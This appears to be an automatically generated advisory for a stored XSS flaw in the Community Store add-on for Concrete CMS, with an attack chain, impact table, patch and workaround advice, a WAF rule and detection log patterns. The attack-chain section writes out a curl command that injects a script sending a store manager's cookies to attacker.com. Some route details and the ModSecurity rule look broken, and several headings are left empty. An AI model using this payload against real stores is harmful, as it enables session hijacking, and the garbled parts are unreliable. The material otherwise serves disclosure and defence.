CVE-2026-135689 — Concretecms-community-store Community Store (2.8 — CWE-79
Community Store for Concrete CMS before 2.8.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject script via the order email in single_pages/dashboard/store/orders.php. Attackers can place guest orders with quoted email local parts containing markup to execute script in a store manager's session when viewing the order.
Community Store for Concrete CMS before 2.8.0 contains a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject script via the order email in single_pages/dashboard/store/orders.php. Attackers can place guest orders with quoted email local parts containing markup to execute script in a store manager's session when viewing the order.
🎯 What is this vulnerability?
Stored Cross‑Site Scripting (CWE‑79) in the Community Store add‑on for Concrete CMS (v < 2.8.0).
The order‑creation form (single_pages/dashboard/store/orders.php) accepts an e‑mail address from a guest order.
The value of the e‑mail field is stored in the database without any sanitisation or escaping and later rendered in the order‑detail page that is only accessible to authenticated store‑manager users.
Because the e‑mail address is displayed verbatim, an attacker can inject arbitrary JavaScript into the local‑part of the address (e.g. " <script>alert(1)</script>"@example.com). When a store manager opens the order, the script executes in the manager’s browser context, giving the attacker:
- Confidentiality – access to the manager’s session cookie, CSRF tokens, and any data visible on the page.
- Integrity – the ability to modify the DOM, inject phishing forms, or redirect the manager to malicious sites.
- Session hijacking – the attacker can impersonate the store manager and perform any privileged action.
- Phishing – the attacker can inject a fake login form that looks like the store’s admin panel.
- Data exfiltration – the attacker can read and send to an external server any data the manager sees (e.g., order totals, customer addresses).
- Denial of service to the manager – by injecting a script that blocks the UI or triggers endless redirects, the manager’s workflow can be disrupted.
The vulnerability requires no authentication for the attacker (guest order creation) but does require user interaction from a legitimate store‑manager to trigger the payload (UI:P in the CVSS vector).
⚡ Attack Chain
| Step | Action | Technical Detail |
|---|---|---|
| 1. Discovery & Reconnaissance | Identify Concrete CMS + Community Store version | • Scan the target for the Concrete CMS index.php entry point.<br>• Query /index.php?cID=1 or use a tool like dirsearch to locate /single_pages/dashboard/store/orders.php.<br>• Inspect the response headers for X-Concrete-Version or parse the page for a <meta name="generator" content="Concrete CMS 2.7.0"> tag. |
| 2. Exploitation | Create a guest order with a malicious e‑mail address | Illustrative payload (the exact field names may differ; adjust accordingly).<br>``bash\ncurl -X POST \\\n -H "Content-Type: application/x-www-form-urlencoded" \\\n -d 'order[customer_name]=Alice+Smith' \\\n -d 'order[customer_email]="<script>fetch(\"https://attacker.com/steal?c=\"+document.cookie)</script>"@example.com' \\\n -d 'order[product_id]=123' \\\n -d 'order[quantity]=1' \\\n http://victim.com/single_pages/dashboard/store/orders.php\n`<br>What happens<br>• The form posts to the order‑creation endpoint.<br>• The e‑mail value is stored in the orders table as‑is.<br>• No validation or escaping is performed on the customer_email field. |
| 3. Post‑Exploitation | Trigger the stored XSS when a manager views the order | • An attacker can send a link to a store manager: http://victim.com/single_pages/dashboard/store/orders/42 (order #42 contains the malicious e‑mail).<br>• When the manager opens the link, the browser parses the e‑mail address, executes the <script> block, and sends the manager’s document.cookie to https://attacker.com/steal`.<br>• The attacker now owns the manager’s session and can perform any action the manager can (e.g., modify orders, view sensitive data, or launch further phishing). |
Note: The exact URI (/single_pages/dashboard/store/orders.php) and parameter names (order[customer_email]) are taken from the CVE description. If your installation uses a different route or form field names, adapt the payload accordingly.
🌍 Real World Impact
| Impact | CVSS Vector | Practical Consequence |
|---|---|---|
| Confidentiality | VC:H | Theft of manager session cookies, CSRF tokens, and any data displayed on the order page (e.g., customer details, payment info). |
| Integrity | VI:H | Ability to modify the DOM, inject phishing forms, or redirect the manager to malicious sites. |
| Availability | VA:N | None. |
| Scope | SC:N | No privilege escalation; the attacker remains a guest. |
| User Interaction | UI:P | Requires the manager to open the order page. |
Practical consequences:
🛡️ Remediation & Mitigation
1. Patch
| Affected Versions | Fixed Version |
|---|---|
community_store 2.7.x and earlier | 2.8.0+ |
Action: Upgrade the Community Store add‑on to 2.8.0 or later. The patch sanitises the e‑mail field before storage and escapes it when rendering.
2. Workarounds (if upgrade is not immediately possible)
| Mitigation | How to Implement | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Disable guest orders | In the Concrete CMS dashboard, set “Allow guest orders” to *No* (or remove the guest order form entirely). | |||||||||||||
| Escape e‑mail on display | Add a PHP snippet in the order‑detail template: <?= htmlspecialchars($order->customer_email, ENT_QUOTES, 'UTF-8') ?>. | |||||||||||||
| Restrict access to the order page | Configure the web server to require authentication for /single_pages/dashboard/store/orders.php and its sub‑pages. | |||||||||||||
| WAF / ModSecurity rule | ``<IfModule mod_security.c>\n SecRule REQUEST_URI "@beginsWith /single_pages/dashboard/store/orders.php" \\\n "phase:2,chain,block,msg:'Prevent XSS via order email'\n SecRule REQUEST_METHOD \"POST\" \\\n \"chain\"\n SecRule REQUEST_BODY \"<script | <img | <iframe | <svg | <form | <input | <style | <link | <meta | <embed | <object | <applet | <embed | <base64\" \\\n \"t:none,phase:2,block,msg:'Suspicious script in order email'\n</IfModule>` |
| Log monitoring | Search logs for POSTs to /single_pages/dashboard/store/orders.php containing <script> or other HTML tags in the customer_email` field. |
3. Detection
| Indicator | Example Log Pattern |
|---|---|
| Suspicious POST | POST /single_pages/dashboard/store/orders.php HTTP/1.1 |
| Email field with markup | order[customer_email]="<script>alert(1)</script>"@example.com |
| High‑volume guest orders | Multiple POSTs from the same IP with customer_email containing <script> tags. |
Sample Apache log entry
192.0.2.123 - - [24/Nov/2026:12:34:56 +0000] "POST /single_pages/dashboard/store/orders.php HTTP/1.1" 200 532 "-" "Mozilla/5.0 (compatible; curl/7.68.0)"Sample Nginx log entry
192.0.2.123 - - [24/Nov/2026:12:34:56 +0000] "POST /single_pages/dashboard/store/orders.php HTTP/1.1" 200 532 "-" "curl/7.68.0" "order[customer_email]=\"<script>alert(1)</script>\"@example.com"⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query